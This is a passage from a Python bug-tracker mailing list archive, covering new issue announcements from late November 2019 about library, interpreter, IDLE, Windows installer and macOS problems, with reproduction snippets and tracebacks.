There is no segmentation fault for now (what indicates there can be bug in older python interpreter) but:
the following line worked fine for 2+ years:

colVals = unicode(", ".join(stringList), 'utf-8')

however now I got the error:
2019-11-26 23:25:55,273 [INFO]: Beginning incremental ingest of epf_video_price (200589 records)
Traceback (most recent call last):
  File "EPFImporter2.py", line 453, in <module>
    main()
  File "EPFImporter2.py", line 436, in main
    fieldDelim=fieldSep)
  File "EPFImporter2.py", line 221, in doImport
    ing.ingest(skipKeyViolators=skipKeyViolators)
  File "/Users/sebastian/Documents/test2/EPFIngester.py", line 111, in ingest
    self.ingestIncremental(skipKeyViolators=skipKeyViolators)
  File "/Users/sebastian/Documents/test2/EPFIngester.py", line 206, in ingestIncremental
    skipKeyViolators=skipKeyViolators)
  File "/Users/sebastian/Documents/test2/EPFIngester.py", line 375, in _populateTable
    colVals = unicode(", ".join(stringList), 'utf-8')
TypeError: decoding Unicode is not supported

So the questions:
1. why decoding Unicode is not supported if previously was and worked fine?
2. is it python thing or some pymysql enforcing rules ?


For reference I attached populateTable function

----------
components: macOS
files: populateTable.txt
messages: 357537
nosy: Sebastian Szwarc, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Decoding unicode not supported after upd to 2.7.17 [possible pymysql related?]
type: behavior
versions: Python 2.7
Added file: https://bugs.python.org/file48745/populateTable.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38925>
_______________________________________

From report at bugs.python.org  Tue Nov 26 21:30:57 2019
From: report at bugs.python.org (Jeff Berkowitz)
Date: Wed, 27 Nov 2019 02:30:57 +0000
Subject: [New-bugs-announce] [issue38926] MacOS: 'Install
 certificates.command' has no effect
Message-ID: <1574821857.22.0.986895903547.issue38926@roundup.psfhosted.org>


New submission from Jeff Berkowitz <pdxjjb at gmail.com>:

After using the Python-supported installer to install 3.8.0 on my employer-owned Mac running High Sierra (10.13.6), the 'Install Certificates.command' had no apparently effect on the behavior of Python.

The behavior before executing the script was that a Python program using urllib3 was unable to verify that public certificate of github.com. Using curl, I could download via the desired URL. But the Python program could not, consistently throwing SSL verify errors instead.

I ran the command script several times. I verified that the symlink cert.pem was created in /Library/Frameworks/Python.framework/Versions/3.8/etc/openssl and that it contained "../../lib/python3.8/site-packages/certifi/cacert.pem" and I verified that the latter file had content (4558 lines) and was readable. And that it did contain the root cert for Github.

But despite that and despite multiple new shell windows and so on, I could never get Python to regard the certs. I eventually worked around this by: export SSL_CERT_FILE=/etc/ssl/cert.pem. After this, the Python program using urllib3 could verify Github.com's public cert. But as I understand things, this env var is actually regarded by the OpenSSL "C" library itself, not Python.(?) Which, if true, raises the question of why this was necessary.

Of course, there's quite likely something in my environment that is causing this. But it would be nice to know what.

----------
components: macOS
messages: 357549
nosy: Jeff Berkowitz, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: MacOS: 'Install certificates.command' has no effect
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38926>
_______________________________________

From report at bugs.python.org  Wed Nov 27 04:18:12 2019
From: report at bugs.python.org (Tzu-ping Chung)
Date: Wed, 27 Nov 2019 09:18:12 +0000
Subject: [New-bugs-announce] [issue38927] venv --upgrade_deps fails on
 Windows
Message-ID: <1574846292.94.0.272462348302.issue38927@roundup.psfhosted.org>


New submission from Tzu-ping Chung <uranusjr at gmail.com>:

https://github.com/python/cpython/commit/4acdbf11b1fae1af24c47413a6caa593010d1b6f

EnvBuilder.upgrade_dependencies() uses `pip.exe install -U` to upgrade pip, which fails on Windows with `[WinError 5] Access is denied`.

----------
components: Library (Lib), Windows
messages: 357562
nosy: paul.moore, steve.dower, tim.golden, uranusjr, zach.ware
priority: normal
severity: normal
status: open
title: venv --upgrade_deps fails on Windows
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38927>
_______________________________________

From report at bugs.python.org  Wed Nov 27 04:33:24 2019
From: report at bugs.python.org (Tzu-ping Chung)
Date: Wed, 27 Nov 2019 09:33:24 +0000
Subject: [New-bugs-announce] [issue38928] EnvBuilder.upgrade_dependencies()
 does not exist on 3.8
Message-ID: <1574847204.22.0.593056122111.issue38928@roundup.psfhosted.org>


New submission from Tzu-ping Chung <uranusjr at gmail.com>:

The documentation says it is new in 3.8, but in reality it is not present until 3.9.

https://docs.python.org/3/library/venv.html#venv.EnvBuilder.upgrade_dependencies

----------
assignee: docs at python
components: Documentation
messages: 357563
nosy: docs at python, uranusjr
priority: normal
severity: normal
status: open
title: EnvBuilder.upgrade_dependencies() does not exist on 3.8
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38928>
_______________________________________

From report at bugs.python.org  Wed Nov 27 07:00:58 2019
From: report at bugs.python.org (Douglas Feather)
Date: Wed, 27 Nov 2019 12:00:58 +0000
Subject: [New-bugs-announce] [issue38929] Float // Integer doesn't give best
 result.
Message-ID: <1574856058.19.0.635617982042.issue38929@roundup.psfhosted.org>


New submission from Douglas Feather <python at def.me.uk>:

40.9//2 give 20.0 as a result.  I would have expected one of: 20.45 or 20.  If it is going to give an FP answer then it should do the division as FP and get the right answer.  If it is going to do an integer division then it should give the division as an integer.

----------
components: ctypes
messages: 357566
nosy: def
priority: normal
severity: normal
status: open
title: Float // Integer doesn't give best result.
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38929>
_______________________________________

From report at bugs.python.org  Wed Nov 27 07:43:21 2019
From: report at bugs.python.org (Xuan Hu)
Date: Wed, 27 Nov 2019 12:43:21 +0000
Subject: [New-bugs-announce] [issue38930] Subprocess failed to kill child
 process after timeout when using with statement
Message-ID: <1574858601.45.0.747000214566.issue38930@roundup.psfhosted.org>


New submission from Xuan Hu <huxuan8218528 at gmail.com>:

The original issue is that the `timeout` in `subprocess.run()` does not work properly, so I try to use `subprocess.Popen()` instead. There are two references I found, [1] is the implementation of `subprocess.run()` and [2] is the example for `Popen.communicate()`. Surprisingly, [2] works for me, and seems the `with` statement is the cause of the issue.

I created a snippet [3] to reproduce the bug, note that `ffmpeg` is needed to run the script. Ideally, all the time should be less than 0.1 or just a little bit greater than 0.1, but when using the `with` statement, the result would be much larger than that.

[1] https://github.com/python/cpython/blob/0f9c9d53283420a570850aa92869d032b40d4fba/Lib/subprocess.py#L489
[2] https://docs.python.org/3/library/subprocess.html#subprocess.Popen.communicate
[3] https://gist.github.com/huxuan/d58a5899be9b42e0936c71dd7884442a

----------
components: Library (Lib)
messages: 357568
nosy: Xuan Hu
priority: normal
severity: normal
status: open
title: Subprocess failed to kill child process after timeout when using with statement
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38930>
_______________________________________

From report at bugs.python.org  Wed Nov 27 12:16:00 2019
From: report at bugs.python.org (tempest)
Date: Wed, 27 Nov 2019 17:16:00 +0000
Subject: [New-bugs-announce] [issue38931] pathlib.Path on Windows - parser
 issue
Message-ID: <1574874960.06.0.13653965118.issue38931@roundup.psfhosted.org>


New submission from tempest <online_m at majck.com>:

the Path parser from pathlib seems to give incorrect paths if a folder (subdirectory) name includes a period. (This issue does not manifest with Unix paths.) 

Please see a demonstration below: "Out[2]" is not the same as "Out[3]" and "Out[4]"; the "\" separator following the folder name with the period is not converted to the forward slash ("/") in the WindowsPath() when the full path is given as a Windows path string. This issue manifests with pathlib.WindowsPath() as well. This is Python 3.7.4 from the Anaconda distribution.

Jupyter QtConsole 4.6.0
Python 3.7.4 (default, Aug  9 2019, 18:34:13) [MSC v.1915 64 bit (AMD64)]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.9.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pathlib import Path

In [2]: Path('C:\Temp\MyProj.wc\test.eps')
Out[2]: WindowsPath('C:/Temp/MyProj.wc\test.eps')

In [3]: Path('C:\Temp\MyProj.wc').joinpath('test.eps')
Out[3]: WindowsPath('C:/Temp/MyProj.wc/test.eps')

In [4]: Path('C:/Temp/MyProj.wc/test.eps')
Out[4]: WindowsPath('C:/Temp/MyProj.wc/test.eps')

----------
components: Windows
messages: 357574
nosy: paul.moore, steve.dower, tempest, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: pathlib.Path on Windows - parser issue
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38931>
_______________________________________

From report at bugs.python.org  Wed Nov 27 14:59:26 2019
From: report at bugs.python.org (Vegard Stikbakke)
Date: Wed, 27 Nov 2019 19:59:26 +0000
Subject: [New-bugs-announce] [issue38932] MagicMock.reset_mocks does not
 pass all arguments to its children
Message-ID: <1574884766.44.0.780090732457.issue38932@roundup.psfhosted.org>


New submission from Vegard Stikbakke <vegard.stikbakke at gmail.com>:

MagicMock, from unittest.mock, has a method reset_mock, which takes optional arguments return_value and side_effect, both with default values False.

In the body of reset_mock, reset_mock is again called on all the _mock_children of of the MagicMock object. However, here the arguments are not passed. This means that if you have a MagicMock object with children that are also mocked, and methods on these have been directly mocked, then it is not enough to call reset_mock on the parent object. A code example that demonstrates this follows below. Here, we could expect m to have been completely reset. But the final print statement shows that m.a() still returns 1.

```
from unittest.mock import MagicMock

m = MagicMock(a=MagicMock())
m.a.return_value = 1
m.reset_mock(return_value=True)
print(m.a())
```

Pertinent line in Github https://github.com/python/cpython/blob/dadff6f6610e03a9363c52ba9c49aa923984640a/Lib/unittest/mock.py#L601

----------
components: Library (Lib)
messages: 357581
nosy: vegarsti
priority: normal
severity: normal
status: open
title: MagicMock.reset_mocks does not pass all arguments to its children
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38932>
_______________________________________

From report at bugs.python.org  Wed Nov 27 16:22:03 2019
From: report at bugs.python.org (Alexey Burdin)
Date: Wed, 27 Nov 2019 21:22:03 +0000
Subject: [New-bugs-announce] [issue38933] unusual behaviour on list of
 dependable lambdas
Message-ID: <1574889723.55.0.16614385889.issue38933@roundup.psfhosted.org>


New submission from Alexey Burdin <longsillyusernamealreadytaken8 at gmail.com>:

>>> x=[2,3]
>>> [f(x) for f in [(lambda a:a[i]) for i in [0,1]]]
[3, 3]
>>> [f(x) for f in [lambda a:a[0],lambda a:a[1]]]
[2, 3]

----------
components: Interpreter Core
messages: 357586
nosy: Alexey Burdin
priority: normal
severity: normal
status: open
title: unusual behaviour on list of dependable lambdas
type: behavior
versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38933>
_______________________________________

From report at bugs.python.org  Wed Nov 27 22:55:28 2019
From: report at bugs.python.org (sourya varenya)
Date: Thu, 28 Nov 2019 03:55:28 +0000
Subject: [New-bugs-announce] [issue38934] Dictionaries of dictionaries
 behave incorrectly when created from dict.fromkeys()
Message-ID: <1574913328.98.0.722203602523.issue38934@roundup.psfhosted.org>


New submission from sourya varenya <souryavarenya at gmail.com>:

Here's a sample run for reproducibility:
---
Python 3.6.9(Ubuntu 18.04) & 3.7.4(Windows)
---
                                                                                     >>> a = {1:{5:8},2:{5:8}}         
                                                                                     >>> b = dict.fromkeys([1,2],{5:8})   
                                                                                  >>> a                                                                                                                  {1: {5: 8}, 2: {5: 8}}          
                                                                                       >>> b                                                                                                                  {1: {5: 8}, 2: {5: 8}}   
                                                                                              >>> a[1].update({6:9})       
                                                                                          >>> b[1].update({6:9})  
                                                                                               >>> a                                                                                                                  {1: {5: 8, 6: 9}, 2: {5: 8}}     
                                                                                      >>> b                                                                                                                  {1: {5: 8, 6: 9}, 2: {5: 8, 6: 9}}

----------
components: Interpreter Core
messages: 357589
nosy: sourya varenya
priority: normal
severity: normal
status: open
title: Dictionaries of dictionaries behave incorrectly when created from dict.fromkeys()
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38934>
_______________________________________

From report at bugs.python.org  Thu Nov 28 02:17:15 2019
From: report at bugs.python.org (Anmol Kejriwal)
Date: Thu, 28 Nov 2019 07:17:15 +0000
Subject: [New-bugs-announce] [issue38935] File modes with '+' character does
 not give expected output
Message-ID: <1574925435.14.0.207210290632.issue38935@roundup.psfhosted.org>


New submission from Anmol Kejriwal <kejriwalanmol at gmail.com>:

The file modes a+, r+, w+ should read and write both. But a+ and w+ modes are not reading anything from the file. The RUN for the program is successful, but there is no output from the program.
Below is a simple program:

file=open("abcd.txt","w+")
l=["This is python.\nThis is an easy language.\nAnyone can learn this easily"]
file.writelines(l)
file.close()
file=open("abcd.txt","a+")   #Replacing with w+ also doesn't read.
file.write("123")      
t1=file.read()               #This read() does not work.
print(t1)                    #Does not print anything here.
file.close()

In r+ mode, it should write in the file without truncation and read it too. Instead, it is removing from the file, the equal number of characters I am trying to write in the file.
Below is the program:

file=open("abcd.txt","w+")
l=["This is python.\nThis is an easy language.\nAnyone can learn this easily"]
file.writelines(l)
file.close()
file=open("abcd.txt","r+")
file.write("123")
t1=file.read()
print(t1)

Output for this is:

s is python.
This is an easy language.
Anyone can learn this easily

----------
components: Windows
messages: 357609
nosy: anmolkejriwal, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: File modes with '+' character does not give expected output
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38935>
_______________________________________

From report at bugs.python.org  Thu Nov 28 12:11:33 2019
From: report at bugs.python.org (kiranmai velishala)
Date: Thu, 28 Nov 2019 17:11:33 +0000
Subject: [New-bugs-announce] [issue38936] fatal error during installation
 0x80070643 during python installation
Message-ID: <1574961093.76.0.301097731298.issue38936@roundup.psfhosted.org>


New submission from kiranmai velishala <kiranmai.velishala at gmail.com>:

Installing Python 3.8, Windows 10 64bit, exits installer and dumps the following error code to log.

[3D8C:422C][2019-11-28T22:23:28]e000: Error 0x80070643: Failed to run maintanance mode for MSI package.
[3D8C:422C][2019-11-28T22:23:28]e000: Error 0x80070643: Failed to configure per-user MSI package.
[3D8C:422C][2019-11-28T22:23:28]i319: Applied execute package: tcltk_JustForMe, result: 0x80070643, restart: None
[3D8C:422C][2019-11-28T22:23:28]e000: Error 0x80070643: Failed to execute MSI package.
[3D8C:422C][2019-11-28T22:23:28]i301: Applying rollback package: tcltk_JustForMe, action: Modify, path: C:\Users\kivelish\AppData\Local\Package Cache\{978278A0-0090-4A9C-8610-001061A495AF}v3.8.150.0\tcltk.msi, arguments: ' ARPSYSTEMCOMPONENT="1" MSIFASTINSTALL="7" TARGETDIR="C:\Users\kivelish\AppData\Local\Programs\Python\Python38-32" OPTIONALFEATURESREGISTRYKEY="Software\Python\PythonCore\3.8-32\InstalledFeatures" REMOVE="AssociateFiles"'
[3D8C:422C][2019-11-28T22:23:30]e000: Error 0x80070643: Failed to run maintanance mode for MSI package.
[3D8C:422C][2019-11-28T22:23:30]e000: Error 0x80070643: Failed to configure per-user MSI package.

0x80070643 - Fatal Error during installation

----------
components: Windows
files: FATAL_ISSUE.zip
messages: 357622
nosy: kiranmai velishala, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: fatal error during installation 0x80070643 during python installation
type: crash
versions: Python 3.8
Added file: https://bugs.python.org/file48746/FATAL_ISSUE.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38936>
_______________________________________

From report at bugs.python.org  Thu Nov 28 13:44:10 2019
From: report at bugs.python.org (Chris Billington)
Date: Thu, 28 Nov 2019 18:44:10 +0000
Subject: [New-bugs-announce] [issue38937] NameError in list comprehension
 within .pth file
Message-ID: <1574966650.18.0.796869926864.issue38937@roundup.psfhosted.org>


New submission from Chris Billington <chrisjbillington at gmail.com>:

The following one-liner works fine in a regular Python interpreter:

$ python -c 'import sys; x = 5; [print(x + i) for i in range(5)]'
5
6
7
8
9

But in a .pth file, it raises a NameError:

$ echo 'import sys; x = 5; [print(x + i) for i in range(5)]' | sudo tee /usr/lib/python3.8/site-packages/test.pth
$ python
Error processing line 1 of /usr/lib/python3.8/site-packages/test.pth:

  Traceback (most recent call last):
    File "/usr/lib/python3.8/site.py", line 169, in addpackage
      exec(line)
    File "<string>", line 1, in <module>
    File "<string>", line 1, in <listcomp>
  NameError: name 'x' is not defined

Remainder of file ignored
Python 3.8.0 (default, Oct 23 2019, 18:51:26) 
[GCC 9.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

Since site.py uses exec() to exec each line of a .pth file, I thought I'd compare with that. It also works fine:

$ python -c 'exec("import sys; x = 5; [print(x + i) for i in range(5)]")'
5
6
7
8
9

This slight modification (the variable being used in the next statement still, but not within the loop of the comprehension) does not raise a NameError:

$ echo 'import sys; x = 5; [print(i) for i in range(x)]' | sudo tee /usr/lib/python3.8/site-packages/test.pth
import sys; x = 5; [print(i) for i in range(x)]
$ python
0
1
2
3
4
Python 3.8.0 (default, Oct 23 2019, 18:51:26) 
[GCC 9.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

I know .pth file processing is very early in interpreter startup such that many things aren't working yet, but I wouldn't expect using a name defined outside a list comprehension within the loop body of said list comprehension not to work.

The following is fine also, showing that using names from outside the list comprehension doesn't always break:

$ echo 'import sys; [print(sys) for i in range(5)]' | sudo tee /usr/lib/python3.8/site-packages/test.pth
import sys; [print(sys) for i in range(5)]
$ python
<module 'sys' (built-in)>
<module 'sys' (built-in)>
<module 'sys' (built-in)>
<module 'sys' (built-in)>
<module 'sys' (built-in)>
Python 3.8.0 (default, Oct 23 2019, 18:51:26) 
[GCC 9.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 

This is fine too:

$ echo 'import sys; [print(str(sys) * i) for i in range(5)]' | sudo tee /usr/lib/python3.8/site-packages/test.pth
import sys; [print(str(sys) * i) for i in range(5)]
$ python

<module 'sys' (built-in)>
<module 'sys' (built-in)><module 'sys' (built-in)>
<module 'sys' (built-in)><module 'sys' (built-in)><module 'sys' (built-in)>
<module 'sys' (built-in)><module 'sys' (built-in)><module 'sys' (built-in)><module 'sys' (built-in)>
Python 3.8.0 (default, Oct 23 2019, 18:51:26) 
[GCC 9.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 


My use case is looping over subdirs of a directory and adding them all to sys.path to provide similar functionality to python setup.py develop, with all python vcs repositories within a specific directory being prepended to sys.path, rather than having to add them one-by-one. I probably won't end up doing what I'm doing this way, but in any case the above seems like it's a bug, unless I'm grossly misunderstanding something.

----------
components: Interpreter Core
messages: 357627
nosy: Chris Billington
priority: normal
severity: normal
status: open
title: NameError in list comprehension within .pth file
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38937>
_______________________________________

From report at bugs.python.org  Thu Nov 28 21:44:21 2019
From: report at bugs.python.org (Dennis Sweeney)
Date: Fri, 29 Nov 2019 02:44:21 +0000
Subject: [New-bugs-announce] [issue38938] Iterable merge performance and
 inclusion in itertools
Message-ID: <1574995461.08.0.901532396583.issue38938@roundup.psfhosted.org>


New submission from Dennis Sweeney <sweeney.dennis650 at gmail.com>:

Although the implementation of the heapq.merge function uses an underlying heap structure, its behavior centers on iterators. For this reason, I believe there should either be an alias to this function in the itertools module or at least a recipe in the itertools docs describing the use of heapq.merge.

Furthermore, I have an implementation (attached) of heapq.merge that is twice as fast for two iterables (as used in mergesort and other common cases), and is faster for up to 6 or 7 iterables. I think it would be nice to special-case this for small numbers of iterables for this significant speedup.

----------
components: Library (Lib)
files: iter_merge.py
messages: 357631
nosy: Dennis Sweeney
priority: normal
severity: normal
status: open
title: Iterable merge performance and inclusion in itertools
type: enhancement
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file48747/iter_merge.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38938>
_______________________________________

From report at bugs.python.org  Fri Nov 29 05:08:16 2019
From: report at bugs.python.org (dongjs)
Date: Fri, 29 Nov 2019 10:08:16 +0000
Subject: [New-bugs-announce] [issue38939] Using Python as a Calculator
Message-ID: <1575022096.89.0.81734853604.issue38939@roundup.psfhosted.org>


New submission from dongjs <dongjssd at 163.com>:

>>> 17 / 3  # classic division returns a float
5.666666666666667

this example is error 

what i test is below

>>> 17.0 / 3
5.666666666666667
>>> 17 / 3
5

----------
messages: 357637
nosy: dongjs
priority: normal
severity: normal
status: open
title: Using Python as a Calculator
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38939>
_______________________________________

From report at bugs.python.org  Fri Nov 29 06:30:18 2019
From: report at bugs.python.org (=?utf-8?q?Ugra_D=C3=A1niel?=)
Date: Fri, 29 Nov 2019 11:30:18 +0000
Subject: [New-bugs-announce] [issue38940] Add a new functools.cast() function
Message-ID: <1575027018.53.0.577122274637.issue38940@roundup.psfhosted.org>


New submission from Ugra D?niel <daniel.ugra at gmail.com>:

In some cases it would be really helpful to have a decorator which automagically casts returned value to a different type.

Particularly, instead of writing something like this:

def example():
    result = []

    for ...:
        result.append(item)

    return result

...this would do the magic:

@functools.cast(list)
def example():
    for ...:
        yield item

On the positive side (apart from its compactness) when an implementation changes from list to set, .append() does not need to be changed to .add().

Of course on the caller side one can always write list(example()) but sometimes this transformation needs to be done on implementation side for architectural reasons.

Pseudocode for proposed functools.cast():

def cast(type):
    def wrapper(func):
        @wraps(func)
        def newfunc(*args, **keywords):
            return type(func(*args, **keywords))

        return newfunc

    return wrapper

----------
components: Library (Lib)
messages: 357640
nosy: daniel.ugra
priority: normal
severity: normal
status: open
title: Add a new functools.cast() function
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38940>
_______________________________________

From report at bugs.python.org  Fri Nov 29 08:21:05 2019
From: report at bugs.python.org (Philip Rowlands)
Date: Fri, 29 Nov 2019 13:21:05 +0000
Subject: [New-bugs-announce] [issue38941] xml.etree.ElementTree.Element
 inconsistent warning for bool
Message-ID: <1575033665.72.0.950765215131.issue38941@roundup.psfhosted.org>


New submission from Philip Rowlands <pythonbugs at dimebar.com>:

Steps to reproduce:

$ python3.7
Python 3.7.2 (default, May 13 2019, 13:52:56)
[GCC 6.3.0 20170516] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import xml.etree.ElementTree as ET
>>> bool(ET.fromstring("<a><b><c></c></b></a>").find(".//c"))
False


$ python3.7
Python 3.7.2 (default, May 13 2019, 13:52:56)
[GCC 6.3.0 20170516] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.modules['_elementtree'] = None
>>> import xml.etree.ElementTree as ET
>>> bool(ET.fromstring("<a><b><c></c></b></a>").find(".//c"))
__main__:1: FutureWarning: The behavior of this method will change in future versions.  Use specific 'len(elem)' or 'elem is not None' test instead.


This is (almost) the smallest test case, but in real code what I was trying to write was:
```
# check the result code is ok
if response.find("./result[@code='ok']"):
    return True
```

The unintuitive bool() behaviour was surprising, compared to other typical True / False determinations on objects, and I think what the FutureWarning is trying to avoid.

Please implement the same warning for bool(Element) in _elementtree.c as exists in ElementTree.py. bpo29204 was making similar alignments between the versions, but didn't consider this FutureWarning.

----------
components: Library (Lib)
messages: 357642
nosy: philiprowlands
priority: normal
severity: normal
status: open
title: xml.etree.ElementTree.Element inconsistent warning for bool
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38941>
_______________________________________

From report at bugs.python.org  Fri Nov 29 15:20:49 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Fri, 29 Nov 2019 20:20:49 +0000
Subject: [New-bugs-announce] [issue38942] Possible assertion failures in
 csv.Dialect()
Message-ID: <1575058849.67.0.456727251778.issue38942@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

dialect_new() in Modules/_csv.c calls PyObject_GetAttrString() repeatedly without
checking if an error occurred. If an exception (like MemoryError) is raised during one of the
PyObject_GetAttrString() calls, an assertion failure will occur during the next call.

----------
components: Extension Modules
messages: 357652
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: Possible assertion failures in csv.Dialect()
type: crash
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38942>
_______________________________________

From report at bugs.python.org  Fri Nov 29 16:14:46 2019
From: report at bugs.python.org (JohnnyNajera)
Date: Fri, 29 Nov 2019 21:14:46 +0000
Subject: [New-bugs-announce] [issue38943] Idle autocomplete window doesn't
 show up
Message-ID: <1575062086.38.0.158761016689.issue38943@roundup.psfhosted.org>


New submission from JohnnyNajera <JohnnyNajera at protonmail.com>:

In Ubuntu 19.10 and probably earlier versions of Ubuntu, the autocomplete window  doesn't show up when expected. This is probably due to wm_geometry called in a context in which it has no effect.

----------
assignee: terry.reedy
components: IDLE
messages: 357654
nosy: JohnnyNajera, terry.reedy
priority: normal
severity: normal
status: open
title: Idle autocomplete window doesn't show up
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38943>
_______________________________________

From report at bugs.python.org  Sat Nov 30 06:42:29 2019
From: report at bugs.python.org (JohnnyNajera)
Date: Sat, 30 Nov 2019 11:42:29 +0000
Subject: [New-bugs-announce] [issue38944] Idle autocomplete window doesn't
 close on Escape key
Message-ID: <1575114149.62.0.468764206111.issue38944@roundup.psfhosted.org>


New submission from JohnnyNajera <JohnnyNajera at protonmail.com>:

Tested on all major Ubuntu releases.

----------
assignee: terry.reedy
components: IDLE
messages: 357658
nosy: JohnnyNajera, terry.reedy
priority: normal
severity: normal
status: open
title: Idle autocomplete window doesn't close on Escape key
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38944>
_______________________________________

From report at bugs.python.org  Sat Nov 30 12:06:01 2019
From: report at bugs.python.org (stealthcopter)
Date: Sat, 30 Nov 2019 17:06:01 +0000
Subject: [New-bugs-announce] [issue38945] Remove newline characters from uu
 encoding methods
Message-ID: <1575133561.73.0.538278905149.issue38945@roundup.psfhosted.org>


New submission from stealthcopter <admin at stealthcopter.com>:

Filenames passed to the UU encoding methods (uu.py and uu_codec.py) that contain a newline character will overflow data into the UU content section. This can potentially be used to inject replace or corrupt data content in a file during the decode process.

Initially discussed via the PSRT but deemed low risk so suggested I create a PR with the changes and a BPO.

----------
messages: 357660
nosy: stealthcopter
priority: normal
pull_requests: 16900
severity: normal
status: open
title: Remove newline characters from uu encoding methods
type: security

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38945>
_______________________________________

From report at bugs.python.org  Sat Nov 30 14:10:41 2019
From: report at bugs.python.org (Ramon)
Date: Sat, 30 Nov 2019 19:10:41 +0000
Subject: [New-bugs-announce] [issue38946] IDLE not opening multiple .py files
Message-ID: <1575141041.2.0.751349559914.issue38946@roundup.psfhosted.org>


New submission from Ramon <r.garciaprieto30 at gmail.com>:

I'm running Python 3.8 and Mac Os Catalina 10.15.1 When I click a .py file, it will open the shell + editor, However if I try to open a new .py file from my finder window it won't open. The only way I can open another file is through the shell by clicking file - open. I downloaded a folder with containing .py files from the web and I have no issue opening those files from my finder window. It appear to be only files created in my computer.

----------
assignee: terry.reedy
components: IDLE
messages: 357661
nosy: RM, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE not opening multiple .py files
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38946>
_______________________________________

From report at bugs.python.org  Sat Nov 30 18:53:27 2019
From: report at bugs.python.org (Kevin Shweh)
Date: Sat, 30 Nov 2019 23:53:27 +0000
Subject: [New-bugs-announce] [issue38947] dataclass defaults behave
 inconsistently for init=True/init=False when default is a descriptor
Message-ID: <1575158007.0.0.672423182846.issue38947@roundup.psfhosted.org>


New submission from Kevin Shweh <kevin.shweh at gmail.com>:

The following code:

    from dataclasses import dataclass, field
    from typing import Callable
     
    @dataclass
    class Foo:
    	callback: Callable[[int], int] = lambda x: x**2
     
    @dataclass
    class Bar:
    	callback: Callable[[int], int] = field(init=False, default=lambda x: x**2)
     
    print(Foo().callback(2))
    print(Bar().callback(2))

prints 4 for the first print, but throws a TypeError for the second. This is because Foo() stores the default callback in the instance dict, while Bar() only has it in the class dict. Bar().callback triggers the descriptor protocol and produces a method object instead of the original callback.

There does not seem to be any indication in the dataclasses documentation that these fields will behave differently. It seems like they should behave the same, and/or the documentation should be clearer about how the default value/non-init field interaction behaves.

----------
components: Library (Lib)
messages: 357669
nosy: Kevin Shweh
priority: normal
severity: normal
status: open
title: dataclass defaults behave inconsistently for init=True/init=False when default is a descriptor
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38947>
_______________________________________